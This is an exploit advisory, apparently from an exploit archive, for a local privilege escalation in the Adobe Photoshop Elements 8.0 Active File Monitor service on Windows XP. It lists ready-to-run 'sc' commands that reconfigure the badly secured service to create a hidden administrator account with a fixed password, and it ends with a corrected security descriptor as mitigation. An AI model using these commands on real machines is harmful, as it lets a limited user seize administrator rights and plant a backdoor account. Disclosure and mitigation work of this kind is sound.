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Adobe Photoshop Elements 8.0 Active File Monitor Privilege Escalation
===================================================================== Adobe Photoshop Elements 8.0 Active File Monitor Privilege Escalation ===================================================================== # Title: Adobe Photoshop Elements 8.0 Active File Monitor Privilege Escalation # CVE-ID: () # OSVDB-ID: () # Author: Pyrokinesis # Published: 2009-09-29 # Verified: yes view source print? Adobe Photoshop Elements 8.0 Active File Monitor Service Bad Security Descriptor Local Elevation Of Privileges by Nine:Situations:Group::bellick Tested on Microsoft Windows XP SP3 The "Adobe Active File Monitor V8" service is installed with an improper security descriptor. A malicious user of the Users group (which on xp means a "limited account") can stop the service, then invoke the "sc config" command to replace the binary path with a value of choice, then restart the service to run the command with SYSTEM privileges ex., run theese commands as a limited user: sc stop "AdobeActiveFileMonitor8.0" sc config "AdobeActiveFileMonitor8.0" binPath= "cmd /c net user adobe kills /add && net localgroup Administrators adobe /add" sc start "AdobeActiveFileMonitor8.0" runas /noprofile /user:%COMPUTERNAME%\adobe cmd now login as administrator with password "kills" mitigation: the security descriptor of the service is like this: C:\>sc sdshow "AdobeActiveFileMonitor8.0" D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD) note the WO and WD permission for Everyone (!!!!!) change the security descriptor like the following: c:\sc sdset "AdobeActiveFileMonitor8.0" D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY) [SC] SetServiceObjectSecurity SUCCESS readings, interesting article: http://msmvps.com/blogs/erikr/archive/2007/09/26/set-permissions-on-a-specific-service-windows.aspx # 0day.today [2024-11-16] #